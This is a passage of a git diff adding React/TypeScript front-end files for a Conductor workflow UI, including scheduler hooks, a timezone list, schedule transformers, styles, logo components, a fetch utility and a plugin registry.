currentWorkflowVersions, + currentWorkflowVersions.length - 1, + ); + const requiredWorkflowVersion = + workflowVersion === "Latest version" + ? latestVersion + : workflowVersion; + def = workflowDefByVersions + .get("values") + ?.get(workflowType ? workflowType : currentWorkflowType) + ?.get(requiredWorkflowVersion); + } + + return { + workflowInputTemplate: getTemplateFromInputParams( + def?.["inputParameters"], + ) + ? getTemplateFromInputParams(def?.["inputParameters"]) + : currentWorkflowInputTemplate, + }; + }, + [ + workflowDefByVersions, + currentWorkflowType, + currentWorkflowVersions, + currentWorkflowInputTemplate, + ], + ); + + return { + workflowNames, + workflowVersions, + workflowInputTemplate: currentWorkflowInputTemplate, + setWorkflowType, + setWorkflowVersion, + }; +} diff --git a/ui-next/src/pages/scheduler/index.ts b/ui-next/src/pages/scheduler/index.ts new file mode 100644 index 0000000..58c693b --- /dev/null +++ b/ui-next/src/pages/scheduler/index.ts @@ -0,0 +1 @@ +export * from "./Schedule"; diff --git a/ui-next/src/pages/scheduler/schedulerHooks.js b/ui-next/src/pages/scheduler/schedulerHooks.js new file mode 100644 index 0000000..4c335e0 --- /dev/null +++ b/ui-next/src/pages/scheduler/schedulerHooks.js @@ -0,0 +1,29 @@ +import { useAction, useFetch } from "../../utils/query"; +import { useQueryClient } from "react-query"; + +export function useSchedules() { + return useFetch("/scheduler/schedules", { + initialData: [], + }); +} + +export function useSchedule(name) { + return useFetch(`/scheduler/schedules/${name}`, { + enabled: !!name, + }); +} + +export function useSaveSchedule({ onSuccess, ...callbacks }) { + const queryClient = useQueryClient(); + + return useAction("/scheduler/schedules", "post", { + onSuccess: (data, mutationVariables) => { + queryClient.invalidateQueries(); + // TODO properly invalidate only the queries scheduler queries + // queryClient.invalidateQueries(["/scheduler/schedule", mutationVariables.name]); + // queryClient.invalidateQueries("/scheduler/schedules"); + if (onSuccess) onSuccess(data, mutationVariables); + }, + ...callbacks, + }); +} diff --git a/ui-next/src/pages/scheduler/timezones.json b/ui-next/src/pages/scheduler/timezones.json new file mode 100644 index 0000000..bb990c1 --- /dev/null +++ b/ui-next/src/pages/scheduler/timezones.json @@ -0,0 +1,605 @@ +[ + "Africa/Abidjan", + "Africa/Accra", + "Africa/Addis_Ababa", + "Africa/Algiers", + "Africa/Asmara", + "Africa/Asmera", + "Africa/Bamako", + "Africa/Bangui", + "Africa/Banjul", + "Africa/Bissau", + "Africa/Blantyre", + "Africa/Brazzaville", + "Africa/Bujumbura", + "Africa/Cairo", + "Africa/Casablanca", + "Africa/Ceuta", + "Africa/Conakry", + "Africa/Dakar", + "Africa/Dar_es_Salaam", + "Africa/Djibouti", + "Africa/Douala", + "Africa/El_Aaiun", + "Africa/Freetown", + "Africa/Gaborone", + "Africa/Harare", + "Africa/Johannesburg", + "Africa/Juba", + "Africa/Kampala", + "Africa/Khartoum", + "Africa/Kigali", + "Africa/Kinshasa", + "Africa/Lagos", + "Africa/Libreville", + "Africa/Lome", + "Africa/Luanda", + "Africa/Lubumbashi", + "Africa/Lusaka", + "Africa/Malabo", + "Africa/Maputo", + "Africa/Maseru", + "Africa/Mbabane", + "Africa/Mogadishu", + "Africa/Monrovia", + "Africa/Nairobi", + "Africa/Ndjamena", + "Africa/Niamey", + "Africa/Nouakchott", + "Africa/Ouagadougou", + "Africa/Porto-Novo", + "Africa/Sao_Tome", + "Africa/Timbuktu", + "Africa/Tripoli", + "Africa/Tunis", + "Africa/Windhoek", + "America/Adak", + "America/Anchorage", + "America/Anguilla", + "America/Antigua", + "America/Araguaina", + "America/Argentina/Buenos_Aires", + "America/Argentina/Catamarca", + "America/Argentina/ComodRivadavia", + "America/Argentina/Cordoba", + "America/Argentina/Jujuy", + "America/Argentina/La_Rioja", + "America/Argentina/Mendoza", + "America/Argentina/Rio_Gallegos", + "America/Argentina/Salta", + "America/Argentina/San_Juan", + "America/Argentina/San_Luis", + "America/Argentina/Tucuman", + "America/Argentina/Ushuaia", + "America/Aruba", + "America/Asuncion", + "America/Atikokan", + "America/Atka", + "America/Bahia", + "America/Bahia_Banderas", + "America/Barbados", + "America/Belem", + "America/Belize", + "America/Blanc-Sablon", + "America/Boa_Vista", + "America/Bogota", + "America/Boise", + "America/Buenos_Aires", + "America/Cambridge_Bay", + "America/Campo_Grande", + "America/Cancun", + "America/Caracas", + "America/Catamarca", + "America/Cayenne", + "America/Cayman", + "America/Chicago", + "America/Chihuahua", + "America/Ciudad_Juarez", + "America/Coral_Harbour", + "America/Cordoba", + "America/Costa_Rica", + "America/Creston", + "America/Cuiaba", + "America/Curacao", + "America/Danmarkshavn", + "America/Dawson", + "America/Dawson_Creek", + "America/Denver", + "America/Detroit", + "America/Dominica", + "America/Edmonton", + "America/Eirunepe", + "America/El_Salvador", + "America/Ensenada", + "America/Fort_Nelson", + "America/Fort_Wayne", + "America/Fortaleza", + "America/Glace_Bay", + "America/Godthab", + "America/Goose_Bay", + "America/Grand_Turk", + "America/Grenada", + "America/Guadeloupe", + "America/Guatemala", + "America/Guayaquil", + "America/Guyana", + "America/Halifax", + "America/Havana", + "America/Hermosillo", + "America/Indiana/Indianapolis", + "America/Indiana/Knox", + "America/Indiana/Marengo", + "America/Indiana/Petersburg", + "America/Indiana/Tell_City", + "America/Indiana/Vevay", + "America/Indiana/Vincennes", + "America/Indiana/Winamac", + "America/Indianapolis", + "America/Inuvik", + "America/Iqaluit", + "America/Jamaica", + "America/Jujuy", + "America/Juneau", + "America/Kentucky/Louisville", + "America/Kentucky/Monticello", + "America/Knox_IN", + "America/Kralendijk", + "America/La_Paz", + "America/Lima", + "America/Los_Angeles", + "America/Louisville", + "America/Lower_Princes", + "America/Maceio", + "America/Managua", + "America/Manaus", + "America/Marigot", + "America/Martinique", + "America/Matamoros", + "America/Mazatlan", + "America/Mendoza", + "America/Menominee", + "America/Merida", + "America/Metlakatla", + "America/Mexico_City", + "America/Miquelon", + "America/Moncton", + "America/Monterrey", + "America/Montevideo", + "America/Montreal", + "America/Montserrat", + "America/Nassau", + "America/New_York", + "America/Nipigon", + "America/Nome", + "America/Noronha", + "America/North_Dakota/Beulah", + "America/North_Dakota/Center", + "America/North_Dakota/New_Salem", + "America/Nuuk", + "America/Ojinaga", + "America/Panama", + "America/Pangnirtung", + "America/Paramaribo", + "America/Phoenix", + "America/Port-au-Prince", + "America/Port_of_Spain", + "America/Porto_Acre", + "America/Porto_Velho", + "America/Puerto_Rico", + "America/Punta_Arenas", + "America/Rainy_River", + "America/Rankin_Inlet", + "America/Recife", + "America/Regina", + "America/Resolute", + "America/Rio_Branco", + "America/Rosario", + "America/Santa_Isabel", + "America/Santarem", + "America/Santiago", + "America/Santo_Domingo", + "America/Sao_Paulo", + "America/Scoresbysund", + "America/Shiprock", + "America/Sitka", + "America/St_Barthelemy", + "America/St_Johns", + "America/St_Kitts", + "America/St_Lucia", + "America/St_Thomas", + "America/St_Vincent", + "America/Swift_Current", + "America/Tegucigalpa", + "America/Thule", + "America/Thunder_Bay", + "America/Tijuana", + "America/Toronto", + "America/Tortola", + "America/Vancouver", + "America/Virgin", + "America/Whitehorse", + "America/Winnipeg", + "America/Yakutat", + "America/Yellowknife", + "Antarctica/Casey", + "Antarctica/Davis", + "Antarctica/DumontDUrville", + "Antarctica/Macquarie", + "Antarctica/Mawson", + "Antarctica/McMurdo", + "Antarctica/Palmer", + "Antarctica/Rothera", + "Antarctica/South_Pole", + "Antarctica/Syowa", + "Antarctica/Troll", + "Antarctica/Vostok", + "Arctic/Longyearbyen", + "Asia/Aden", + "Asia/Almaty", + "Asia/Amman", + "Asia/Anadyr", + "Asia/Aqtau", + "Asia/Aqtobe", + "Asia/Ashgabat", + "Asia/Ashkhabad", + "Asia/Atyrau", + "Asia/Baghdad", + "Asia/Bahrain", + "Asia/Baku", + "Asia/Bangkok", + "Asia/Barnaul", + "Asia/Beirut", + "Asia/Bishkek", + "Asia/Brunei", + "Asia/Calcutta", + "Asia/Chita", + "Asia/Choibalsan", + "Asia/Chongqing", + "Asia/Chungking", + "Asia/Colombo", + "Asia/Dacca", + "Asia/Damascus", + "Asia/Dhaka", + "Asia/Dili", + "Asia/Dubai", + "Asia/Dushanbe", + "Asia/Famagusta", + "Asia/Gaza", + "Asia/Harbin", + "Asia/Hebron", + "Asia/Ho_Chi_Minh", + "Asia/Hong_Kong", + "Asia/Hovd", + "Asia/Irkutsk", + "Asia/Istanbul", + "Asia/Jakarta", + "Asia/Jayapura", + "Asia/Jerusalem", + "Asia/Kabul", + "Asia/Kamchatka", + "Asia/Karachi", + "Asia/Kashgar", + "Asia/Kathmandu", + "Asia/Katmandu", + "Asia/Khandyga", + "Asia/Kolkata", + "Asia/Krasnoyarsk", + "Asia/Kuala_Lumpur", + "Asia/Kuching", + "Asia/Kuwait", + "Asia/Macao", + "Asia/Macau", + "Asia/Magadan", + "Asia/Makassar", + "Asia/Manila", + "Asia/Muscat", + "Asia/Nicosia", + "Asia/Novokuznetsk", + "Asia/Novosibirsk", + "Asia/Omsk", + "Asia/Oral", + "Asia/Phnom_Penh", + "Asia/Pontianak", + "Asia/Pyongyang", + "Asia/Qatar", + "Asia/Qostanay", + "Asia/Qyzylorda", + "Asia/Rangoon", + "Asia/Riyadh", + "Asia/Saigon", + "Asia/Sakhalin", + "Asia/Samarkand", + "Asia/Seoul", + "Asia/Shanghai", + "Asia/Singapore", + "Asia/Srednekolymsk", + "Asia/Taipei", + "Asia/Tashkent", + "Asia/Tbilisi", + "Asia/Tehran", + "Asia/Tel_Aviv", + "Asia/Thimbu", + "Asia/Thimphu", + "Asia/Tokyo", + "Asia/Tomsk", + "Asia/Ujung_Pandang", + "Asia/Ulaanbaatar", + "Asia/Ulan_Bator", + "Asia/Urumqi", + "Asia/Ust-Nera", + "Asia/Vientiane", + "Asia/Vladivostok", + "Asia/Yakutsk", + "Asia/Yangon", + "Asia/Yekaterinburg", + "Asia/Yerevan", + "Atlantic/Azores", + "Atlantic/Bermuda", + "Atlantic/Canary", + "Atlantic/Cape_Verde", + "Atlantic/Faeroe", + "Atlantic/Faroe", + "Atlantic/Jan_Mayen", + "Atlantic/Madeira", + "Atlantic/Reykjavik", + "Atlantic/South_Georgia", + "Atlantic/St_Helena", + "Atlantic/Stanley", + "Australia/ACT", + "Australia/Adelaide", + "Australia/Brisbane", + "Australia/Broken_Hill", + "Australia/Canberra", + "Australia/Currie", + "Australia/Darwin", + "Australia/Eucla", + "Australia/Hobart", + "Australia/LHI", + "Australia/Lindeman", + "Australia/Lord_Howe", + "Australia/Melbourne", + "Australia/NSW", + "Australia/North", + "Australia/Perth", + "Australia/Queensland", + "Australia/South", + "Australia/Sydney", + "Australia/Tasmania", + "Australia/Victoria", + "Australia/West", + "Australia/Yancowinna", + "Brazil/Acre", + "Brazil/DeNoronha", + "Brazil/East", + "Brazil/West", + "CET", + "CST6CDT", + "Canada/Atlantic", + "Canada/Central", + "Canada/Eastern", + "Canada/Mountain", + "Canada/Newfoundland", + "Canada/Pacific", + "Canada/Saskatchewan", + "Canada/Yukon", + "Chile/Continental", + "Chile/EasterIsland", + "Cuba", + "EET", + "EST5EDT", + "Egypt", + "Eire", + "Etc/GMT", + "Etc/GMT+0", + "Etc/GMT+1", + "Etc/GMT+10", + "Etc/GMT+11", + "Etc/GMT+12", + "Etc/GMT+2", + "Etc/GMT+3", + "Etc/GMT+4", + "Etc/GMT+5", + "Etc/GMT+6", + "Etc/GMT+7", + "Etc/GMT+8", + "Etc/GMT+9", + "Etc/GMT-0", + "Etc/GMT-1", + "Etc/GMT-10", + "Etc/GMT-11", + "Etc/GMT-12", + "Etc/GMT-13", + "Etc/GMT-14", + "Etc/GMT-2", + "Etc/GMT-3", + "Etc/GMT-4", + "Etc/GMT-5", + "Etc/GMT-6", + "Etc/GMT-7", + "Etc/GMT-8", + "Etc/GMT-9", + "Etc/GMT0", + "Etc/Greenwich", + "Etc/UCT", + "Etc/UTC", + "Etc/Universal", + "Etc/Zulu", + "Europe/Amsterdam", + "Europe/Andorra", + "Europe/Astrakhan", + "Europe/Athens", + "Europe/Belfast", + "Europe/Belgrade", + "Europe/Berlin", + "Europe/Bratislava", + "Europe/Brussels", + "Europe/Bucharest", + "Europe/Budapest", + "Europe/Busingen", + "Europe/Chisinau", + "Europe/Copenhagen", + "Europe/Dublin", + "Europe/Gibraltar", + "Europe/Guernsey", + "Europe/Helsinki", + "Europe/Isle_of_Man", + "Europe/Istanbul", + "Europe/Jersey", + "Europe/Kaliningrad", + "Europe/Kiev", + "Europe/Kirov", + "Europe/Kyiv", + "Europe/Lisbon", + "Europe/Ljubljana", + "Europe/London", + "Europe/Luxembourg", + "Europe/Madrid", + "Europe/Malta", + "Europe/Mariehamn", + "Europe/Minsk", + "Europe/Monaco", + "Europe/Moscow", + "Europe/Nicosia", + "Europe/Oslo", + "Europe/Paris", + "Europe/Podgorica", + "Europe/Prague", + "Europe/Riga", + "Europe/Rome", + "Europe/Samara", + "Europe/San_Marino", + "Europe/Sarajevo", + "Europe/Saratov", + "Europe/Simferopol", + "Europe/Skopje", + "Europe/Sofia", + "Europe/Stockholm", + "Europe/Tallinn", + "Europe/Tirane", + "Europe/Tiraspol", + "Europe/Ulyanovsk", + "Europe/Uzhgorod", + "Europe/Vaduz", + "Europe/Vatican", + "Europe/Vienna", + "Europe/Vilnius", + "Europe/Volgograd", + "Europe/Warsaw", + "Europe/Zagreb", + "Europe/Zaporozhye", + "Europe/Zurich", + "GB", + "GB-Eire", + "GMT", + "GMT0", + "Greenwich", + "Hongkong", + "Iceland", + "Indian/Antananarivo", + "Indian/Chagos", + "Indian/Christmas", + "Indian/Cocos", + "Indian/Comoro", + "Indian/Kerguelen", + "Indian/Mahe", + "Indian/Maldives", + "Indian/Mauritius", + "Indian/Mayotte", + "Indian/Reunion", + "Iran", + "Israel", + "Jamaica", + "Japan", + "Kwajalein", + "Libya", + "MET", + "MST7MDT", + "Mexico/BajaNorte", + "Mexico/BajaSur", + "Mexico/General", + "NZ", + "NZ-CHAT", + "Navajo", + "PRC", + "PST8PDT", + "Pacific/Apia", + "Pacific/Auckland", + "Pacific/Bougainville", + "Pacific/Chatham", + "Pacific/Chuuk", + "Pacific/Easter", + "Pacific/Efate", + "Pacific/Enderbury", + "Pacific/Fakaofo", + "Pacific/Fiji", + "Pacific/Funafuti", + "Pacific/Galapagos", + "Pacific/Gambier", + "Pacific/Guadalcanal", + "Pacific/Guam", + "Pacific/Honolulu", + "Pacific/Johnston", + "Pacific/Kanton", + "Pacific/Kiritimati", + "Pacific/Kosrae", + "Pacific/Kwajalein", + "Pacific/Majuro", + "Pacific/Marquesas", + "Pacific/Midway", + "Pacific/Nauru", + "Pacific/Niue", + "Pacific/Norfolk", + "Pacific/Noumea", + "Pacific/Pago_Pago", + "Pacific/Palau", + "Pacific/Pitcairn", + "Pacific/Pohnpei", + "Pacific/Ponape", + "Pacific/Port_Moresby", + "Pacific/Rarotonga", + "Pacific/Saipan", + "Pacific/Samoa", + "Pacific/Tahiti", + "Pacific/Tarawa", + "Pacific/Tongatapu", + "Pacific/Truk", + "Pacific/Wake", + "Pacific/Wallis", + "Pacific/Yap", + "Poland", + "Portugal", + "ROK", + "Singapore", + "SystemV/AST4", + "SystemV/AST4ADT", + "SystemV/CST6", + "SystemV/CST6CDT", + "SystemV/EST5", + "SystemV/EST5EDT", + "SystemV/HST10", + "SystemV/MST7", + "SystemV/MST7MDT", + "SystemV/PST8", + "SystemV/PST8PDT", + "SystemV/YST9", + "SystemV/YST9YDT", + "Turkey", + "UCT", + "US/Alaska", + "US/Aleutian", + "US/Arizona", + "US/Central", + "US/East-Indiana", + "US/Eastern", + "US/Hawaii", + "US/Indiana-Starke", + "US/Michigan", + "US/Mountain", + "US/Pacific", + "US/Samoa", + "UTC", + "Universal", + "W-SU", + "WET", + "Zulu" +] diff --git a/ui-next/src/pages/scheduler/utils/scheduleTransformers.ts b/ui-next/src/pages/scheduler/utils/scheduleTransformers.ts new file mode 100644 index 0000000..53e62aa --- /dev/null +++ b/ui-next/src/pages/scheduler/utils/scheduleTransformers.ts @@ -0,0 +1,128 @@ +import _get from "lodash/get"; +import { timestampRendererLocal } from "utils/index"; +import { tryToJson } from "utils/index"; +import { WorkflowDef } from "types/WorkflowDef"; +import { ScheduleType } from "../Schedule"; + +/** + * Parse JSON string safely, returning null for empty strings + */ +export function JSONParse(text: string) { + if (text) { + return JSON.parse(text); + } + return null; +} + +/** + * Convert date field to timestamp value + */ +export function getDateFromField(d1: string | number | Date) { + if (d1) { + return new Date(d1).valueOf(); + } + return ""; +} + +/** + * Convert form data to code representation + */ +export function formToCodeData( + scheduleState: ScheduleType, + schedule: any, +): Partial | null { + const start = getDateFromField(scheduleState.scheduleStartTime); + const to = getDateFromField(scheduleState.scheduleEndTime); + + let input; + try { + input = JSONParse(scheduleState.workflowInputTemplate); + } catch { + return null; + } + + let taskToDomain; + try { + taskToDomain = JSONParse(scheduleState.taskToDomain); + } catch { + return null; + } + + const body = { + id: _get(schedule, "id"), + paused: scheduleState.paused, + runCatchupScheduleInstances: scheduleState.runCatchupScheduleInstances, + name: scheduleState.name, + description: scheduleState.description, + cronExpression: scheduleState.cronExpression, + scheduleStartTime: start, + scheduleEndTime: to, + startWorkflowRequest: { + name: scheduleState.workflowType, + version: scheduleState.workflowVersion, + input: input ? input : {}, + correlationId: scheduleState.workflowCorrelationId, + idempotencyKey: scheduleState?.workflowIdempotencyKey, + idempotencyStrategy: scheduleState?.workflowIdempotencyStrategy, + taskToDomain: taskToDomain ? taskToDomain : {}, + workflowDef: tryToJson(scheduleState.workflowDef), + externalInputPayloadStoragePath: + scheduleState.externalInputPayloadStoragePath, + priority: scheduleState.priority, + }, + zoneId: scheduleState.zoneId, + }; + + return body; +} + +/** + * Convert code data to form representation + */ +export function codeToFormData( + data: string, + scheduleState: ScheduleType, +): ScheduleType { + const changedData = tryToJson(data); + const body = { + name: changedData?.name || "", + description: changedData?.description || "", + cronExpression: changedData?.cronExpression || "", + runCatchupScheduleInstances: !!changedData?.runCatchupScheduleInstances, + paused: !!changedData?.paused, + workflowType: changedData?.startWorkflowRequest?.name, + workflowVersions: scheduleState.workflowVersions, + workflowVersion: changedData?.startWorkflowRequest?.version, + workflowCorrelationId: changedData?.startWorkflowRequest?.correlationId, + workflowIdempotencyKey: changedData?.startWorkflowRequest?.idempotencyKey, + workflowIdempotencyStrategy: + changedData?.startWorkflowRequest?.idempotencyStrategy, + workflowInputTemplate: JSON.stringify( + changedData?.startWorkflowRequest?.input, + null, + 2, + ), + taskToDomain: JSON.stringify( + changedData?.startWorkflowRequest?.taskToDomain, + null, + 2, + ), + workflowDef: JSON.stringify( + changedData?.startWorkflowRequest?.workflowDef, + null, + 2, + ), + externalInputPayloadStoragePath: + changedData?.startWorkflowRequest?.externalInputPayloadStoragePath, + priority: changedData?.startWorkflowRequest?.priority, + scheduleStartTime: changedData?.scheduleStartTime + ? timestampRendererLocal(changedData?.scheduleStartTime) + : "", + scheduleEndTime: changedData?.scheduleEndTime + ? timestampRendererLocal(changedData?.scheduleEndTime) + : "", + zoneId: changedData?.zoneId, + }; + + return body; +} diff --git a/ui-next/src/pages/styles.js b/ui-next/src/pages/styles.js new file mode 100644 index 0000000..6d7e295 --- /dev/null +++ b/ui-next/src/pages/styles.js @@ -0,0 +1,167 @@ +import { colors } from "theme/tokens/variables"; + +export default { + wrapper: { + overflowY: "auto", + overflowX: "hidden", + height: "100%", + width: "100%", + display: "contents", + justifyContent: "flexStart", + backgroundColor: colors.gray14, + }, + fullWidth: { + width: "100%", + height: "100%", + overflowY: "scroll", + backgroundColor: "white", + paddingBottom: "400px", + }, + padded: { + padding: "20px", + }, + header: { + backgroundColor: colors.gray14, + paddingLeft: "50px", + paddingTop: "20px", + "@media (min-width: 1920px)": { + paddingLeft: "50px", + }, + }, + tabContent: { + marginTop: "10px", + paddingTop: "20px", + paddingRight: "20px", + paddingBottom: "50px", + paddingLeft: "20px", + "@media (min-width: 1920px)": { + paddingLeft: "50px", + }, + }, + gridFlex: { + display: "flex", + margin: 0, + padding: 0, + overflow: "auto", + width: "100%", + flexWrap: "nowrap", + alignItems: "stretch", + justifyContent: "space-between", + minWidth: "900px", + }, + fixedDisplayHeader: { + backgroundColor: colors.gray14, + paddingLeft: "50px", + paddingTop: "20px", + "@media (min-width: 1920px)": { + paddingLeft: "50px", + }, + overflowY: "scroll", + overflowX: "hidden", + display: "block", + justifyContent: "flexStart", + position: "sticky", + left: 0, + top: 0, + zIndex: 10, + }, + tabContentScroll: { + paddingTop: 0, + paddingRight: "20px", + paddingBottom: "50px", + paddingLeft: "20px", + "@media (min-width: 1920px)": { + paddingLeft: "50px", + }, + overflowY: "scroll", + overflowX: "hidden", + }, + paperMargin: { + marginBottom: "30px", + }, + iconButton: { + color: "black", + opacity: 0.3, + paddingRight: "10px", + fontSize: 18, + "&:hover": { + opacity: 0.8, + backgroundColor: "transparent", + }, + }, + editorLabel: { + color: "black", + opacity: 0.8, + paddingLeft: "10px", + fontSize: "12px", + lineHeight: 3, + fontWeight: "400", + "& span": { + fontSize: "13px", + fontWeight: "bold", + }, + "& svg": { + fontSize: "18px", + }, + }, + chipContainer: { + display: "flex", + flexWrap: "wrap", + "& > *": { + margin: "2px 5px 2px 0", + }, + }, + resizer: { + width: "10px", + margin: "-5px", + cursor: "col-resize", + backgroundColor: "rgb(45, 45, 45, 0.05)", + zIndex: 1, + flexShrink: 0, + resize: "horizontal", + "&:hover": { + backgroundColor: "rgb(45, 45, 45, 0.3)", + }, + }, + workflowDefFirstRowMenu: { + width: "100%", + display: "flex", + flexFlow: "row", + justifyContent: "space-around", + paddingTop: 3, + paddingBottom: 3, + alignItems: "center", + // position: "sticky", + // top: 0, + // left: 0, + }, + definitionEditorSecondRowMenu: { + width: "100%", + display: "flex", + flexFlow: "row", + justifyContent: "space-around", + paddingTop: "3px", + paddingBottom: "6px", + borderBottom: "solid var(--backgroundLight) 2px", + alignItems: "center", + position: "sticky", + top: 0, + left: 0, + }, + popover: { + "& .MuiPopover-paper": { + padding: "8px", + backgroundColor: "rgb(45, 45, 45, 0.6)", + color: "white", + }, + "& .MuiTypography-root": { + fontSize: "14px", + }, + }, + deleteIcon: { + "& svg": { + color: "#cd5c5c", + fontSize: "14px", + }, + }, +}; diff --git a/ui-next/src/plugins/AppBarModules.tsx b/ui-next/src/plugins/AppBarModules.tsx new file mode 100644 index 0000000..56410c9 --- /dev/null +++ b/ui-next/src/plugins/AppBarModules.tsx @@ -0,0 +1,56 @@ +import { Box, Tooltip } from "@mui/material"; +import { List } from "@phosphor-icons/react"; +import { IconButton, NavLink } from "components"; +import { useAuth } from "components/features/auth"; +import AppLogo from "plugins/AppLogo"; +import { FEATURES, featureFlags } from "utils"; + +export default function AppBarModules({ + handleDrawBarOpen, +}: { + handleDrawBarOpen: () => void; +}) { + const { user } = useAuth(); + + if (!featureFlags.isEnabled(FEATURES.ACCESS_MANAGEMENT)) { + return null; + } + + return user ? ( + <> + + + + + + + + + + + + + ) : null; +} diff --git a/ui-next/src/plugins/AppLogo.tsx b/ui-next/src/plugins/AppLogo.tsx new file mode 100644 index 0000000..8cbe7c3 --- /dev/null +++ b/ui-next/src/plugins/AppLogo.tsx @@ -0,0 +1,31 @@ +import { OpenedLogo } from "components/providers/sidebar/OpenedLogo"; +import { useContext, useMemo } from "react"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { FEATURES, featureFlags } from "utils"; + +const customLogo = featureFlags.getValue(FEATURES.CUSTOM_LOGO_URL); + +export default function AppLogo() { + const { mode } = useContext(ColorModeContext); + + const imgSrc = useMemo(() => { + if (mode === "light") { + return "/orkes-logo-purple-2x.png"; + } + + return "/orkes-logo-purple-inverted-2x.png"; + }, [mode]); + + return customLogo ? ( + + ) : ( + Orkes Conductor + ); +} diff --git a/ui-next/src/plugins/ConductorLogo.tsx b/ui-next/src/plugins/ConductorLogo.tsx new file mode 100644 index 0000000..d3a50c8 --- /dev/null +++ b/ui-next/src/plugins/ConductorLogo.tsx @@ -0,0 +1,12 @@ +export default function ConductorLogo() { + return ( + Conductor + ); +} diff --git a/ui-next/src/plugins/constants.js b/ui-next/src/plugins/constants.js new file mode 100644 index 0000000..e69de29 diff --git a/ui-next/src/plugins/customTypeRenderers.jsx b/ui-next/src/plugins/customTypeRenderers.jsx new file mode 100644 index 0000000..d645915 --- /dev/null +++ b/ui-next/src/plugins/customTypeRenderers.jsx @@ -0,0 +1 @@ +export const customTypeRenderers = {}; diff --git a/ui-next/src/plugins/env.js b/ui-next/src/plugins/env.js new file mode 100644 index 0000000..505ef3e --- /dev/null +++ b/ui-next/src/plugins/env.js @@ -0,0 +1,6 @@ +export function useEnv() { + return { + stack: "default", + defaultStack: "default", + }; +} diff --git a/ui-next/src/plugins/fetch.ts b/ui-next/src/plugins/fetch.ts new file mode 100644 index 0000000..f441020 --- /dev/null +++ b/ui-next/src/plugins/fetch.ts @@ -0,0 +1,74 @@ +/** + * Fetch utilities for OSS mode. + * + * This simplified version removes auth token handling since + * OSS mode does not use authentication. + */ +import { MessageContext } from "components/providers/messageContext"; +import { useContext } from "react"; +import { IObject } from "types/common"; +import { getErrorMessage, tryToJson } from "utils/utils"; +import { useEnv as hardcodeEnv } from "./env"; + +const { VITE_ENVIRONMENT, VITE_WF_SERVER } = process.env; + +export function fetchContextNonHook() { + const { stack } = hardcodeEnv(); + + return { + stack, + ready: true, + }; +} + +export function useFetchContext() { + const contextNonHook = fetchContextNonHook(); + const { setMessage } = useContext(MessageContext); + + return { + ...contextNonHook, + setMessage, + }; +} + +export async function fetchWithContext( + path: string, + context: IObject, + fetchParams: IObject, + isText?: boolean, + throwOnError = true, +): Promise { + const newParams = { ...fetchParams }; + + // Need for build version (can't use proxy) + const newPath = `${ + VITE_ENVIRONMENT === "test" ? VITE_WF_SERVER : "" + }/api/${path}`; + + const cleanPath = newPath.replace(/([^:]\/)\/+/g, "$1"); // Cleanup duplicated slashes + + const res = await fetch(cleanPath, newParams); + + // Handle error cases + if (!res.ok) { + const hasContext = context && context?.setMessage != null; + // 1. Using global message + if (hasContext && !throwOnError) { + const errorMessage = await getErrorMessage(res); + context.setMessage({ text: errorMessage, severity: "error" }); + + return null; + } + + // 2. Throw the error to handle locally + throw res; + } + + const text = await res.text(); + + if (!text || text.length === 0) { + return null; + } + + return isText ? text : tryToJson(text); +} diff --git a/ui-next/src/plugins/index.ts b/ui-next/src/plugins/index.ts new file mode 100644 index 0000000..8c4e943 --- /dev/null +++ b/ui-next/src/plugins/index.ts @@ -0,0 +1,40 @@ +/** + * Plugins Module + * + * This module provides the plugin system and extension points for Conductor UI. + * + * - Plugin Registry: Register plugins to extend routes, sidebar, task forms, etc. + * - Fetch: Authenticated HTTP client + * - Custom Type Renderers: Extension point for custom task type rendering + */ + +// Plugin registry - the main extension system +export { + pluginRegistry, + registerPlugin, + // Types + type ConductorPlugin, + type PluginRegistry, + type PluginTaskFormProps, + type TaskFormRegistration, + type TaskMenuCategory, + type TaskMenuItemRegistration, + type SidebarMenuTarget, + type SidebarItemPosition, + type SidebarItemRegistration, + type AuthProviderProps, + type AuthProviderRegistration, + type SearchResultItem, + type SearchDataFetcher, + type SearchResultMapper, + type SearchProviderRegistration, + type SidebarExtension, + type TaskDocUrlRegistration, +} from "./registry"; + +// Fetch utilities +export { + fetchWithContext, + useFetchContext, + fetchContextNonHook, +} from "./fetch"; diff --git a/ui-next/src/plugins/registry/index.ts b/ui-next/src/plugins/registry/index.ts new file mode 100644 index 0000000..e8011cb --- /dev/null +++ b/ui-next/src/plugins/registry/index.ts @@ -0,0 +1,62 @@ +/** + * Plugin Registry + * + * This module provides the plugin system for Conductor UI. + * Use registerPlugin() to add plugins that extend the application. + * + * @example + * ```typescript + * import { registerPlugin, ConductorPlugin } from 'plugins/registry'; + * + * const myPlugin: ConductorPlugin = { + * id: 'my-plugin', + * name: 'My Plugin', + * routes: [...], + * sidebarItems: [...], + * taskForms: [...], + * }; + * + * registerPlugin(myPlugin); + * ``` + */ + +// Export the registry singleton and convenience function +export { pluginRegistry, registerPlugin } from "./registry"; + +// Export all types +export type { + // Main plugin interface + ConductorPlugin, + PluginRegistry, + // Task form types + PluginTaskFormProps, + TaskFormRegistration, + // Task menu types + TaskMenuCategory, + TaskMenuItemRegistration, + // Sidebar types + SidebarMenuTarget, + SidebarItemPosition, + SidebarItemRegistration, + // Auth provider types + AuthProviderProps, + AuthProviderRegistration, + // Search provider types + SearchResultItem, + SearchDataFetcher, + SearchResultMapper, + SearchProviderRegistration, + // Sidebar extension types + SidebarExtension, + // Task doc URL types + TaskDocUrlRegistration, + // Dependency section types + DependencySectionRegistration, + DependencySectionProps, + WorkflowDependencies, + // Schema dialog types + SchemaEditDialogProps, + SchemaPreviewDialogProps, + // Generated key dialog types + GeneratedKeyDialogProps, +} from "./types"; diff --git a/ui-next/src/plugins/registry/registry.ts b/ui-next/src/plugins/registry/registry.ts new file mode 100644 index 0000000..a1ceb95 --- /dev/null +++ b/ui-next/src/plugins/registry/registry.ts @@ -0,0 +1,443 @@ +/** + * Plugin Registry Implementation + * + * Singleton registry that manages all registered plugins and provides + * methods to access their contributed functionality. + */ + +import { ComponentType, ReactNode } from "react"; +import { RouteObject } from "react-router-dom"; +import { + AuthProviderProps, + ConductorPlugin, + DependencySectionRegistration, + GeneratedKeyDialogProps, + NewIntegrationModalProps, + PluginRegistry, + PluginTaskFormProps, + SchemaEditDialogProps, + SchemaPreviewDialogProps, + SearchProviderRegistration, + SidebarExtension, + SidebarItemRegistration, + TaskExecutionPanelRegistration, + TaskMenuItemRegistration, + TaskValidatorFn, +} from "./types"; +import type { TaskDef } from "types"; +import type { ValidationError } from "pages/definition/errorInspector/state/types"; + 